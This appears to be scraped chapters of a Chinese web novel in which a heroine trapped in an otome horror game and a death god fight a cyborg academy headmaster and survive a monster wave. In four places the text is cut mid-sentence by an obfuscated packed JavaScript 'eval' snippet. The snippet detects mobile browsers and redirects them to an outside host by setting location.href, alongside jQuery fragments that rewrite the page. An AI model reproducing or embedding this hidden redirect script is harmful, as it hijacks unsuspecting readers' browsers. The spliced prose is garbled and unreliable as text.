实话实说，应该……算是“孽缘”？柳莳萌乱挥了几下手，把自己的小想法打到烟消云散，“我们的关系很简单啊。” “是我先认识的你，是我先开始找你。” 她抱住达里恩，摸索着，将下巴搭在他的腰窝上，让他为之一震。 “之后，还是我缠着你不放。” 她的下巴软乎乎的，梨涡浅浅地笑，咬字越紧凑，声音越清晰，“是我单方面需要你。而你怎么想我，那并不重要，我也不会去在乎。” 【附加状态“妒忌”已结束】 “叮铃铃”—— 这时，学院悠扬的上课铃响了。 长达四个小时的铃声是返校日第四节“记忆的怪物”的起始点，在毫无平缓落幕迹象的剧情里，高//潮/迭起，将玩家与死神/的命运一同推向悬崖边缘。 熟悉的老师和同学都像不认识她了一样，疯狂向她扑来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108909|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，想扒开她的皮，啃食她的血肉…她的身上散发出诱人的香气，让学校迅速被尸潮淹没。 【“你”无路可去了。】 【就只能逃到边缘，奢望可以远远地逃开，在尽头，“你”看到了那个曾经体罚过学生的有护栏的保健室。】 【在疲惫不堪到快要忘记时间的时候，大摆钟响了八下。】 “八点了。” 柳莳萌倒吸一口凉气：剧情里没有提到的“动员大会”开始了。 “嗞嗞……圣尼塔学院，是一所秉持着优质办学宗旨的私立学府。这里能为广大莘莘学子们提供最优质的学习资源，最丰富多彩的校园生活……嗞嗞。” 西大礼堂离操场很近，柳莳萌能清楚地听见校长讲话。 “但是，最近突然出现了几个特别的学生。” “无故旷操、和外校的学生早恋、在教室里斗殴打架，他们的所作所为就是在给我们的学校抹黑，希望大家能够引以为戒……嗞嗞。” 隐隐约约间，柳莳萌察觉到了不对劲的地方：不对，那些极个别的特别的学生，该不会是在点我吧？ “相信大家都记得保健室吧。那里曾经帮助过许多误入迷途的学生改过自新，而这位同学也必定能在里面重获新生！” 紧接着就是响如雷鸣的鼓掌声。 但仔细听就能够分辨出来，这些掌声太过整齐了，与其说是人，反倒更像是“机械音”。 “那个人来了。”达里恩压低声音。 “校长吗？” 柳莳萌猛然反应过来：“你刚刚说，他是人？”这似乎是她在这所学校里遇见的第一个人类。奇怪，为什么他不会像其他老师和学生那样变成半人不鬼的怪物呢？ 还没问出口，西大礼堂的门轰然倒塌，大门边缘被红色孔洞灼烧穿，一位身穿白色西服的老人拄着铁拐杖，站在门后，笑眯眯地看着她。 他的眼中没有丝毫笑意，眼睛中心像玻璃珠一样，小束电流脉络晶莹剔透，模拟着扫视的视线。 “义眼？” 达里恩：“嗯，是人，但不完全是。他的眼睛和左边的胳膊，看不到任何生命痕迹。” 校长像是根本听不见一样，直接略过达里恩，向柳莳萌的方向看过来，眼睛狠狠一缩：“想必这位就是传闻中的柳莳萌同学吧。在去保健室之前，我希望你能够作为代表上台发言。” 什么？柳莳萌震惊到说不出话来。 强制她跟着玩家走剧情刷小怪也就算了，居然还要她上台发言？还有没有天理了！ “自从上次的事情发生之后，很多学生都害怕保健室里有不干不净的东西，但圣尼塔学院是绝不会做出伤害学生的事情的。”他缓缓卷起自己两腮微白的胡须，弹动了一下。 说的什么鬼话，我怎么可能乖乖上去……柳莳萌刚想拔腿开溜，就看见透明面板浮现在眼前。 【开启突发事件判定。】 【请抽取“选择跟校长上台发表演讲”与“拒绝跟校长上台发表演讲”。效果触发，理智＜50，“选择跟校长上台发表演讲”概率大幅度提升。】 即便内心疯狂不愿，但柳莳萌的双脚仍不受控制地向前迈，她一步一步走出礼堂，走上讲台。柳莳萌感受到心脏在狂跳，可自己的身体却在机械地调整好呼吸。 手刚碰触到讲台边缘，台下就升起一副镣铐，将她锁死在讲台后。 “这是……” 柳莳萌试图挣脱开，但铁镣铐的虎口纹丝不动。 【警告！理智值低于50，本次演讲注定失败，死神代理将当众戳破圣尼塔学院校长的假面，揭露保健室曾经虐待学生的事实。】 【请代理做好迎接怪潮准备，结束倒计时为4个小时。】 17. 末世校园加载中12 四个小时？柳莳萌在心里咂吧了一下：这个校长该不会和教学楼里的那个“怪东西”有关系吧？要不然怎么一惹怒他，就会引发所谓的怪潮呢？ 而更加诡异的是，怪潮的持续时间与动员大会几乎一模一样。 一咂吧就咂吧出一个胆战心惊，她猛猛摇头。 讲句实话，柳莳萌很想搞清楚这里面有什么不可告人的秘密，但现在已经没有多余的时间让她去思考这些了。 刚想转动手腕，试图从镣铐中挣脱出来，这时，她的脑子里突然浮现出一段不属于她的记忆，头晕目眩之间，记忆怒涛般倒灌入脑海。 【“孱弱”信息已刷新，开启隐藏身份词条，正在为死神代理接收来自角色的词条记忆。】 “啥？”柳莳萌不可思议地瞪大眼睛。 这游戏除了隐藏角色，居然还有隐藏身份！ 【在校学生，词条已更新为“在外校的学生”。】 【隐藏身份：你是一个冒名顶替死去的妹妹来学校上学的双胞胎姐姐，而你选择来到这所学校上学，正是为了调查清楚妹妹的死因。】 【与健康的妹妹不同，你患有先天性哮喘疾病，无法长时间奔跑，但哮喘发病时的症状较为轻微，并不会让你直接死亡。】 【在你的记忆中，两个月前发生了一件“校园霸凌”事情，而正是这件事情，直接导致了你的病情极速恶化。】 【霸凌者是你妹妹的同班同学“沈羚”。他与另外几名同学一起将你围在教室内，对你进行了语言辱骂，并且撕坏了你的课本和作业。后来你被老师关进了保健室里体罚，一天都没办法出来。】 【在保健室内，你吸入了过多的烟尘导致哮喘迅速恶化。与此同时，你意外得知了沈羚能够在学校里兴风作浪的真正原因。】 【沈羚是校长沈万懿的独生子。没人敢在学校里惹恼他。而他平日最看不惯的人就是你的妹妹，最喜欢欺负她。】 【他并不知道自己一直以来欺负的人已经变成了另外一个人，你替妹妹狠狠地教训了沈羚，沈羚扑向你，而你选择了不退让，和他一起从楼梯上滚下去……】 柳莳萌不受控制地抬起头，她的嗓音微微沙哑，头脑发热，分不清这种愤怒到底是来源于别人还是来源于自己。 “是你纵容了沈羚才让这种悲剧一再发生。” “明明有能力阻止却选择了袖手旁观，这也是一种罪恶！你这个虚伪的从犯，道貌岸然的伪善者！人渣！垃圾！” “你根本不配站在这个地方教书育人！”柳莳萌一锤砸在讲台上，听见台下阵阵窃窃私语。 完蛋了，她心想。 其实真换做自己，她会用比这激烈百倍的话语去惩治他，先下手不比站在原地激怒他强吗！只是……柳莳萌转了转手腕：这镣铐属实是限//制她的发挥了。 “沈羚？” 像是没有料想到自己会从别人口中听到这个名字，沈万懿轻抚短须，没有生气，反而倏地笑了，“真没想到他在学校里还算有番作为。” “你……” 柳莳萌的阅读理解不是白学的，立刻就听出了沈万懿的弦外之音：他在讽刺他上不得台面。 “那小子一直如此。做事不计后果，鲁莽莽撞，所以我才给他三年时间收收性子，再差也不能在学校里给我丢脸。” “那件事情的发生的确令人意外。” 他真的是在同情我的遭遇么？可为什么他的眼神从始至终都没有发生过任何变化？柳莳萌本能地一皱眉：不对劲，他是在演戏！ 沈万懿语气淡淡，像是在说一件稀松平常的事情：“可是，我们的学生血气方刚，同龄人之间产生争斗是再正常不过的事情嘛。” 他敲了敲铁拐杖，将地面灼烧出一圈腥黑色的瘀痕：“你们终有一天都会明白，这个世界是弱肉强食的地方。不想成为前者，就要努力变成后者，而不受鞭挞，便会任人宰割。” “教导学生成为合格的吃人者，便是学院的首要任务。” “在带我们的学生代表去保健室之前，我认为还需要对她进行额外的基础教育。”沈万懿狞笑了一下。 这时，他的义眼发出了一丝诡异的红光。沈万懿左边的胳膊变成了一根电鞭，棘刺缠绕在长鞭上，汇聚成三股钢锥，血肉倒挂在锥尖上横飞，像一张瑰丽的大蛛网，根本不像是个人类了。 仔细一看，台下的窃窃私语不是人语，而是成排的麦克风。当麦克风的插头链接上沈万懿左臂的电鞭时，电流便会让麦克风出声。 “活力早操，现在开始~” ...... “啪嗒”一声—— 扣住柳莳萌的镣铐解开了。这时候她才发现，镣铐是一个她熟悉到不能再熟悉的东西。 “天杀的，这居然是【剧情锁】？” 原本游戏的剧情锁应该是把玩家锁在剧情外面的门槛功能，可在这里，剧情锁的作用却是把角色强行锁定在剧情里走过场。 “似乎，还挺合理的……”柳莳萌愣了半秒钟，“不对！怎么没有人提前告诉我这么重要的事情？” 【来咯。】 【没有我，死神代理怎么可能会知道这么重要的事情呢？哼哼哼，没想到这么快又见到你了，我们已经不是第一次见面咯^_^】 透明的灰色面板出现在柳莳萌眼前。 【现在终于可以告诉你了——当你看到^_^时，意味着这是一个散发着不详气息的“警告面板”。】 【我，警告面板，是本游戏激活安全警报的唯一信号。我发自内心地不关心任何剧情、感情与其他面板，真诚地为了死神代理您的身心健康着想，为您保驾护航，以及——】 “字太多了，说重点。” 柳莳萌现在急的火烧眉毛，严重晕字。 【呜呜呜呜^_^】 【已遭遇活动随机角色：沈万懿 角色身份：圣尼塔学院校长 自动根据死神代理的选择“戳破假面”更新隐藏信息：三十五年前，沈万懿是开设创伤疗法的前保健室老师，曾使三位学生受伤住院。在保健室改为心理咨询室后，他放任无数届校园暴力事件发生，诱导受害者成为新的施暴者，无数学生被迫休学恢复，其中，最不幸的受害者们不约而同地选择走向了死亡。 危险等级：A- 特殊技能：鞭挞 详细技能：被鞭子击中的人将会变成没有痛觉的死士，与角色身份为“学生”的人自相残//杀，变成没有感情的杀/戮机器。】 柳莳萌惊愕地指了指自己：“所以这个技能的意思是一旦被他打中，我就会变成丧尸？？？” 【简单来说是这样的没有错。】 【但是，由于享受玩家特权，理智是死神代理的一个固有数值。即便数值归零，理智仍然存在，客观上，理智不消失便不会变成丧尸。因此，这一个技能对死神代理是无效的。】 【如果不慎被击中的话，就请死神代理痛痛快快地享受被小电鞭抽打的乐趣吧。虽然从我的角度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108910|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上看，这对您没有任何益处，却可以纯享到独一无二的游戏体验哦^_^】 “救……”柳莳萌两眼一抹黑。 这能有什么乐趣？ 独一无二的体验难道是受/虐吗？她可没有这种特殊的癖好。 “等一下。” “这个乙女游戏的活动剧情该不会是设置了什么不能跳过的东西吧？！” 不然为什么每次自想绕开剧情地点，都会突然跳出来奇奇怪怪的角色阻止她！ 像是为了不让柳莳萌继续追问下去，长鞭闪电般从左前方飞掠而来。柳莳萌使劲猫着腰，将讲台当作盾牌，堪堪躲避了过去。 【哦？不能跳过？】 【并没有那种东西哦^_^】 【本游戏设计之初便是为了玩家而存在的乙女游戏，不会出现任何强制行为。只是，在玩家所处的剧情单元内会出现“剧情角色”，而在非玩家所处的剧情单元会出现“随机角色”。】 【区别在于，剧情角色与游戏相关，信息公开，行为会在相关单元受到剧情影响。】 【举个例子，汤小婳就是一个典型的游戏剧情角色。即便死神代理没有从噩梦中唤醒她，她也能苏醒过来，换个角度，即便死神代理把她唤醒，她也会受到剧情影响变成一个怪物。】 【随机角色是存在于游戏中但信息不公开的人。他们的特点是不会在相关单元受到剧情影响，相反，而是会受到死神代理的选择影响。】 听着身后不绝于耳的抽打鞭子声，柳莳萌身体一缩：“那怪潮呢？你总不能告诉我怪潮也是乙女游戏的一部分吧！” 【当然^_^】 【他们是死神升级的经验条。】 柳莳萌：？ 停顿片刻，她无力地从嘴间吐出了两个字——“呵呵。” 世界上最为残忍的事情莫过于发现他人的成就竟然建立在自己的痛苦之上，柳莳萌不由得深吸了一口气。 【怪潮是死神代理与死神共同遭遇A级以上，包括A-与A的随机角色才会遇到的群体。以当前剧情中战斗力最低的单元聚合成的数量在十名以上的群体单元。无需担心，这是非常正常的现象。】 “是吗？”柳莳萌反问，“如果这是正常的，那你怎么还会出来警告我？” 【当然是因为……对与死亡打交道的死神而言，这些不过是日复一日年复一年不变日常里的一段“小插曲”而已^_^】 柳莳萌按住心口，恨不得从嘴中怄出一口鲜血：“所以你这是在提醒我，我只不过是一介游戏炮灰是吗？” 目前所了解到的信息已经足够让她深刻认识到这一点了，关键在于，她还没有找到能够安全度过这次危机的办法。 突然，一个声音穿透过鼓膜，传入进她的耳中。 “你难道就不打算向我寻求帮助吗？” 柳莳萌抬头往上看。 巨大的伞盖状阴影将她缩成一团的身体包裹住，达里恩不知何时到了讲台上，他甚至还有余力调整姿势半蹲下/身子，而她却没有任何余力再去留意其他地方，除了他的那一双眼睛。 明明像水晶灯一样澄澈，却又像是突然拉下开关后，在黯淡下来的角落，被那瞬逝微光紧紧锁定。 柳莳萌很快瞥见他手里抓着一样蠕动的东西，因为被斗篷遮住，她看不清那东西长什么样。 “你打算怎么帮我？”她问。 只见达里恩撑手托腮，勾起嘴角，似笑非笑的：“帮你把那老东西的左手给剜下来。” 19. 末世校园加载中13（无期限停更期致歉+2…… “等等——可是他的手里有武器啊！” 柳莳萌记得达里恩所使用的「临行的馈赠」属于中距离武器，对上长距离武器非常吃亏。而沈万懿的机械长鞭正是此类武器。 武器克制是战斗系统的基础内容之一。 “该死的！”柳莳萌不安地啃咬着指甲。 当初她实在是太过厌恶这个更新，关于战斗系统部分的详细内容全部一目十行过去了，根本没有好好看！现在就连基础部分都记不太清了，该怎么办才好呢？ “一定有什么方法能够帮助他绕过这层克制关系，打败沈万懿。” “滋滋，滋滋” 广播里传出甜美的女声。 【第一节：臂展运动~准备好了吗？】 【现在高抬起手臂，对！就是这样！举过头顶，坚持3秒，放下，再抬起，坚持3秒，很棒！跟着节拍，一↑二↘三↗四↑，五↑六↘七↗八↑，二↑二↘三↗四↑，五↑六↘七↗八↑……很棒很棒，坚、持、就、是、胜、利、哦~】 落雷般的鞭鸣声击打着大礼堂所有可见的物体，整个讲台都开始震颤。柳莳萌产生了一种自己正置身于世界大战的错觉，她失去了援军和武器，在战壕中苦苦挣扎，准备等死。 但她注意到这个声音似乎有点“违和”。 鞭鸣声和广播声逐渐重合，显得过分整齐了，难道说…… 沈万懿的攻击频率是有规律的！柳莳萌恍然大悟：在每一组动作节拍进入到下一组动作节拍前，会有一个留给预备动作的空拍，而广播在空拍中会刻意放慢速度，沈万懿的攻击在这段时间里也会慢下来。 ——这是个绝佳的机会。 不光如此，她还注意到，达里恩悄悄叹了一口气。 拥有一颗无所畏惧的心固然是好，但若是丢掉性命，又有什么意义呢？ 他还是搞不明白人类的心。 *** 死神为何会突然叹气呢？ 是在嫌弃我对吧？是觉得我累赘对吧？我就是这么弱，让你失望了还真是不好意思。柳莳萌目光如炬，怒瞪了他一眼。 达里恩并没有读心的能力，所以他只能靠猜。 但人类复杂的面部表情对死神而言是一个无解的课题。 这一点游戏制作官方并未明确指出，也没有任何剧情说明，但有论坛大神玩家综合已更新剧情来进行过深度剖析。 得出的结论是：只有芳汀这位天赋异禀的选手能够完美理解玩家，而其他可攻略死神通通不及格，达里恩是其中最恶劣的差生。 其他人顶多只是无法理解，但达里恩会误解成另外一种截然不同的意思，让玩家怀疑人生，心中郁闷。 此刻，站在高处的达里恩调动全身的力量去进行阅读理解，霎时，他放下手中长剑，心中茅塞顿开。 他的眼睛亮晶晶的：“你是不是生气了？因为对我说的话不满意。我明白了，剜下一只手是远远不够的。” 达里恩很欣慰在面对恶魂的态度上她能与自己达成一致。 “？？？” 柳莳萌无语凝噎。 她真想以高速列车的时速跳出游戏，打开电脑，跑去点赞区把那个剖析帖点成高赞。如果这所学校只是一所普通的学校，而柳莳萌只是一位普通的学生的话，她会再去教学楼仰天大喊： 活动本小考不及格！！！ “不对吗？” 达里恩皱动了一下眉头。 “不对！完全不对！”柳莳萌摇了摇头，“我只是很担心你……” 担心你会对我失望啊。 “不知道你在担心什么……不，我不应该这么说，我想说的是：无论你在担心什么，那些都不重要。” “你可以选择相信我。” 达里恩阖上双眼，再静悄悄地睁开。 *** 柳莳萌的运气虽差，但也没有那么糟糕。 好就好在：沈万懿是个人类。 死神/的能力之一便是对人类进行「记忆探知」，只需扫上一眼便能知晓人类从生至死的全部记忆。 但在进行记忆探知过后，达里恩更加确信：这个人已经不能够算是人了。 沈万懿是一个对别人狠毒对自己也心狠的人，为了维持健康的体魄，不惜对自己进行身体改造。从头到脚，他将血肉替换成为不会坏掉的零件，让这些机械支撑他完成所有日常活动，只要定时替换，就能长长久久地活下去。 半人不人的模样恰好让他得以在生死颠倒的世界保持人样。 但他活不了多久了。 一个将灵魂出卖给魔鬼的人，是注定会去往地狱的，而死神/的到来不过是加速了这个过程而已。 *** 眨眼之间，战斗结束了。 柳莳萌什么都没看清，她和达里恩说了一句“要注意广播的节拍”，但他似乎并不在意。 当沈万懿的三股聚合荆棘刺钢锥向他发射时，达里恩的反攻就已经开始了。他先是利用大礼堂的几根石柱来躲避沈万懿的攻击，钢锥在击中石柱后，因深深陷入被刺穿的石缝而出现几秒钟的“停滞时间”。 巧妙地利用停滞时间，足够让达里恩接近沈万懿。 “拉进距离”就是绕过这一层武器克制关系的正解！ 只要距离足够近，达里恩可以直接切换为近战模式，武器克制中，近战克制长距离，而沈万懿没有任何胜算。 宽大的斗篷下，地狱火自达里恩的手心猛然窜起，如同灵蛇的火苗迅速膨胀，蜿蜒向上，包裹住他的整只手掌。沈万懿的脸庞被火光照得通明，而后，这之上的一切，五官、表情、包括那不停发出劲爆的机械义眼，都被地狱火给尽数吞没。 “他死了吗？” 柳莳萌从讲台后走出来。 她仍心有余悸，而这仅仅是一个突然出现的随机角色。 “嗯。” 达里恩将扣住头颅的掌骨移开，被地狱火灼烧过的人会身受重伤，若是烧穿了灵魂，那人便会死亡。“他的亡魂会在此处停泊，不用担心，我会通知冥河的使者尽快来将他带走。” 他低垂眉眼，如同沉寂的紫光夜，仿佛目空一切，而沈万懿的存在并未在他的眼中留下一丝一毫的痕迹。 “冥河的使者是谁？” 柳莳萌有想继续问的话，但面板不给她这个追问的机会。 【NoNoNo——！警告面板已对死神代理人的问题进行紧急屏蔽处理^_^】 【原因：无权限。冥河使者的信息目前处于“不可公开”的状态，只有死神代理人继续进行游戏，完成任务，提高权限才能够获取。】 【作为最最最关心死神代理身心健康的面板，我友情提醒一句：死神达里恩从刚才到现在可是一直在盯着你看哦~^_^】 柳莳萌：“……” 那我岂不是像个若智一样在这边自言自语的。哦对了，我被屏蔽了，没声，甚至不属于自言自语的范畴，而是纯粹的张口闭口。 说到这里，她的privilege已经尽数体现了。 我淦！比若智还要若智，这和当众社死有什么区别？！ “咳咳！” 柳莳萌咳嗽了两声。 “不要光顾着看我了，你可别忘记了，现在摆在我们面前的还有一件非常要紧的事情。” 那就是——逃离4小时怪潮！ *** 【返校日第四节，“记忆的怪物”，开启。】 【“你”在前往保健室的途中被绊倒了，地上尖锐的小石头把“你”如同白纸一样的皮肤磕碰出血花。比起突如其来的刺痛更加令“你”痛楚的是：你不知道这种噩梦一样的日子到底要持续到什么时候。】 【这时，与里弗一把拉住“你”的手，将“你”从地上拽起。】 【他宽厚有力而又略微粗糙的手掌，仿佛能够将“你”的整个世界包裹住，原先那丝毫不容许“你”的拒绝的双唇，吐出话语已经不再冰冷。】 【在安全的保健室内，“你”的手与他的心，淅淅沥沥地，正在经历着一次化冰。本该是如此的，可“你”却不可抑制地动摇了。】 【与里弗是如此强大而又可靠，明明只要选择深信不疑就好了，可是……“你”攥紧手瑟缩，扪心自问：这样做真的就算好了吗？“你”如此轻易地相信了一个根本不将人命放在眼里的神。】 【他是一位死神。】 【说不定，这一切都出自他的手笔……】 看完面板显示的剧情内容，柳莳萌倒吸了一口凉气，她回想起了这一节的主题。 这要追溯到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108912|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官方世界观中第一位能看见死神/的人类与第一位被人类发现的死神/的“故事起源”。 最初，人类与死神并不信任，他们相互猜忌，玩家猜测死神另有图谋，而死神猜测玩家从头到尾都在欺骗自己。而最后揭露的真相便是：玩家记忆中的死神才是那个可怕的怪物。 可谓在惊/悚之余又赚够了一波玩家的眼泪。 柳莳萌也曾是那其中的一员。 “但是！” “怎么没有人提前告诉我，这节剧情默认我也要和达里恩分开啊！我信任他！我无条件信任他啊！！！” 柳莳萌在保健室内连连哀嚎。 *五分钟前 【圣尼塔学院，保健室，正门前】 柳莳萌和达里恩终于赶在怪潮前面来到了保健室。 她刚一进门，保健室的门就自动关闭上锁了。达里恩还没来得及进来，而且他也根本进不来。柳莳萌试图寻找门的钥匙，但据他所说，眼前似乎有一道看不见的墙壁将他阻挡在外面。 “没关系的。”达里恩安慰她。 “不用担心我，我在外面不会有事的。” 这就是强大到令人安心的感觉吗？柳莳萌微微一笑，但有没有一种可能，我是在担心自己会小命不保呢？ 万一不知道从哪里突然蹦出来一只丧尸，她很有可能会交代在这里，然后任务失败从头再来。 与此同时，她迫不及待地开始观察保健室内部。 “嘶，什么都看不清。” 保健室本就是沈万懿为了掩盖创伤疗法设立的“幌子”。这里为了不让外人察觉到屋内的情况，把所有的窗帘都拉上，用钉子钉死了。天花板更是连盏灯都没有，又黑又暗，唯一能用来照明的东西是手边的蜡烛，但没有火源，蜡烛也无法使用。 既然这是乙女游戏，要不……来试一试许愿吧！ 柳莳萌闭上眼睛，双手紧握，虔诚地在黑暗中祈祷：请神赐予我一道光吧。 按道理来说，身为玩家应该向游戏中的至高存在——“游戏之神”祈祷。但是……这种言而无信的神也能算作神吗？指不定会丢给我更多的难题呢。 嗯，不妥。 “只要是能满足我的心愿的人，我就认可他是神哦。”柳莳萌碎碎念道。 “啪嗒”—— 是火！柳莳萌惊喜地睁开双眼。 眼前那暗淡无光的景象让她大失所望。游戏之神终究是选择了沉默不语，但，这个声音是从什么地方传来的？ 她抬起头，瞳孔骤然收缩。 隔着窗帘，能清晰地看到玻璃上出现了一道暗红色的痕迹，黏稠的液体正顺着玻璃缓缓滑落，但并不是笔直的自然坠落，而是呈现出一种被手抓挠的狰狞模样。 右下角那枚鬼手印更是让她的心凉了半截。 “你的心愿……是什么……？” 比鬼手印更加让人心凉的，是一个会说话的鬼手印。 柳莳萌只有掐住自己的大/腿/根/肉，掐到咬紧牙关、眼泪汪汪的程度，才不会因惊吓喊叫出声。 “我想要……火。” 她要疯掉了，声线像崩断掉的吉他弦一样不停颤抖，“但是，没有也……也不影响的……谢谢你了哈……哈哈哈……” “啪嗒”—— 咦？是火…… 柳莳萌看着眼前燃起的微弱烛火，有点懵。这个游戏怎么搞的，叫天天不应，叫神神不灵的，鬼反而好心。这到底是游戏制作人性的扭曲，还是末世世界道德的沦丧！ “不客气。” “好哇，达里恩，你为什么要在玻璃上按鬼手印？是不是在故意吓唬我啊。”柳莳萌气急败坏了。 她决定隐瞒许愿的内容，当作是对他的惩罚。死神达里恩将永远失去人类柳莳萌的认可，这可是连游戏之神都无法得到的垂青。 “不是，我是怕你太无聊了。” 达里恩解释道。 为了不让少女担心，他将自己脸颊一侧与玻璃上的血迹一并抹去。暗无天日的怪潮缓缓退却，像是被某种不可见的力量撑开，阳光探入，学院终于窥见了澄澈的天幕，疲惫地获得了一口湛蓝色的呼吸。 他松开手，任由恶鬼的血手臂掉落在地，变成零碎的灰烬。 最后一波怪潮结束了。 20. 末世校园加载中14（补完+大修） 【呀吼，咱是面板手底下的无情小奴隶，直接称呼咱为“友情播报”就好。】 【但我相信你并不愿意经常看见咱，因为咱的程序是一坨垃圾，除了会无情地提醒进度以外，其他的一概不会哦。】 【恭喜你，你已成功在“返校日中”成功存活过50小时，距离任务成功仅剩22小时。目前剧情完成总进度：4/5；目前任务完成总进度：1/3；特殊任务完成进度：1/1；隐藏任务：0/1。】 -------- “你还好吗？” 达里恩敲了敲门，门内无人应答。 这可是一个不好的信号，果然…… 他早有预感：只要他们分开，外来者就会遭遇某种“不幸”。这个世界的某个部分对她充满了恶意，不希望她顺利离开，为了达到这个目的，还挑唆他做事。 虽然死神本就是给人类带去死亡的存在，但达里恩的内心对死亡有着不同的见解。他不相信死亡的意义是单纯的生命终结，这其中一定还有更为重要的事情，只是他还没有发现。 在发现之前，达里恩不打算遵从任何人的想法。 包括他自己。 达里恩攥紧手，抑制住了心中莫名升起的“不要再管她了”的念头。 他打算最后再敲门问一次，如果这次柳莳萌还没有回应，他就直接闯进去。温冷的眼睫如同蒲公英的绒叶，在轻/颤中松动了几下，最后毅然决然地向门处飞去。 “你……” “停！不要再说话了！让我思考一下。” *门的另一边 柳莳萌拿着点燃的蜡烛站在一面墙前。 这里是保健室入口。一进门就能够一眼看见这面光洁无暇的墙壁，但正中央的那道裂缝无论怎么看都非常可疑。她不假思索走上前，大胆查看起来。 走近了看，受力点是一个椭圆状的凹陷，力气没有大到能够凿穿墙壁，但是凹陷中还有凹陷。 “密点状凹陷？看起来有点像是尖刺棒球棍一类的钝器……”柳莳萌喃喃低语。保健室作为校园暴力悲剧的起/点，这极有可能是一条最终BOSS的关键线索。 【理智值+2】 【发现“尖刺棒球棍痕迹”。】 【这是沈万懿在体罚一位学生时所使用的道具，致使这位学生住院，最后死亡。※确实与最终BOSS有关，给予死神代理相应的理智值奖励】 柳莳萌惊讶道：“这……这个游戏居然还有这么人性化的地方？”不对劲！这绝对不是她认识的那个能肝到肝报废的《与死神同行》！ 【※进入角色身份专属选择支“考试”，难度：C+】 什么！她心下一沉：考试什么的，我最讨厌了！ 【本次考试科目为“历史”，考试范围为“活动剧情”。系统会从游戏历史剧情中随机抽取一句关键剧情，回答正确即可获得额外属性加成奖励】 “唔……”正当柳莳萌绞尽脑汁回想达里恩到底在这几天里说过什么感人肺腑的“情话”时—— 【请在下列选项中选择正确的一项填进括号中：在（）年前，沈万懿是开设创伤疗法的前保健室老师？ 选项A.十五年 选项B.二十五年 选项C.三十五年 选项D.四十五年 请选择。】 “啊？？？” 柳莳萌傻眼了。 “让你考试你还真是出考试题啊，你该不会忘记了自己是一个恋爱乙女游戏吧！”亏她还以为是攻略一类的东西，最次也该是和达里恩有关的选择支吧！！！ 【我明白死神代理你的疑惑。不过，本游戏适用于年满18岁及以上用户，依据身份设定，普通在校学生不满18岁，仍是未成年人，不允许早恋哦~】 “……真是，傻眼。” 既然这个任务生来注定让人两眼一抹黑，那么，柳莳萌干脆闭上双眼，她决定让自己早已污秽不堪的双眸远离这段绿色健康的文字。 被迫穿越进恋爱游戏里进行游戏，结果反而被游戏剥夺了恋爱资格，这真的是合理的吗？ 【考试时限：10秒。开始倒计时，10…9…8…7……】 “等等，你等一等！” 【5……】 好嘛，别说恋爱资格了，就连思考的时间都没有。她的额角滚落下一颗豆大的汗珠，此时，柳莳萌已经汗流浃背了。 “我选C！！！” 犹豫就会败北，果断就会白给，但是……果断有时也能出现奇迹。曾有诗云：若题难如登天梯，遇事不决就选C。考试必备，百试百灵，用过的人都说好。 【……】 【C…回答正确。】 它迟疑了一会儿，似乎不太愿意相信柳莳萌的记忆力能够在十秒之内回答出这个问题。 “你该不会想抵赖吧？”她勾了勾手指明示。 【现在为你发放额外属性加成奖励——理智值+150】 “呼——”柳莳萌松了一口气，“还好对了。” 不过这也不是完全靠蒙的。 面板显示的密密麻麻的文字柳莳萌根本记不住，但记下角色的大致长相对她来说不算难事。沈万懿头发花白，相貌十分老成，如果是选项A和B的话，从老师到校长的时间跨度太短，对不上。 那么，正确选项就只会在C与D之间。 【触发活动日常事件，探索，事件成功与失败需通过抽卡系统获得。】 【由于额外属性加成，总理智值200＞100，大幅度溢出100基础值，且满足※基础倍数条件，抽卡系统算力崩溃。※基础倍数为不为0的自然数】 “什么？系统居然还可以崩溃？”柳莳萌震惊了。 【是的。】 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108913|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不算是bug吗？” 【不算。我们所构筑的世界是完美无缺的存在，任何看似意外的差错，不过是世界早已计算好的一环。】 啧啧啧，不愧是官方系统，全身上下嘴是最硬的，柳莳萌暗暗心道。 